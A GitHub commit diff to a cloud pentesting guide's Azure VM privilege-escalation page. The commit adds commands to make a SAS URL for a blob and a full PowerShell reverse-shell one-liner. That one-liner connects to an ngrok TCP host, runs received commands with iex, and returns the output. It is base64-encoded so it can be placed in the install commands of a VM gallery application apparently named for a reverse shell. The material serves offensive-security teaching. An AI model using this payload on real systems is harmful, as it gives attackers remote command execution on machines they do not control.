Skip to content

Commit 906a948

Browse files
committed
a
1 parent 855f8bb commit 906a948

1 file changed

Lines changed: 18 additions & 0 deletions

File tree

src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -219,6 +219,24 @@ az vm application set \
219219
--name <vm-name> \
220220
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
221221
--treat-deployment-as-failure true
222+
223+
224+
# You can create a SAS URL from a blob with something like:
225+
export EXPIRY=$(date -u -v +1d '+%Y-%m-%dT%H:%MZ')
226+
export URL_PACKAGE=$(az storage blob generate-sas \
227+
--account-name <acc-name> \
228+
--container-name <container-name> \
229+
--name <filename> \
230+
--permissions r \
231+
--expiry "$EXPIRY" \
232+
--https-only \
233+
--full-uri \
234+
-o tsv)
235+
236+
# Alternative commands for Powrhsell reverse shell
237+
## Note that this would be detected by Defender (but it's an extarting point)
238+
## Add in the install, remove and update commands
239+
echo '$client = New-Object System.Net.Sockets.TCPClient(\"6.tcp.eu.ngrok.io\",19507);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
222240
```
223241

224242
{{#endtab }}

0 commit comments

Comments
 (0)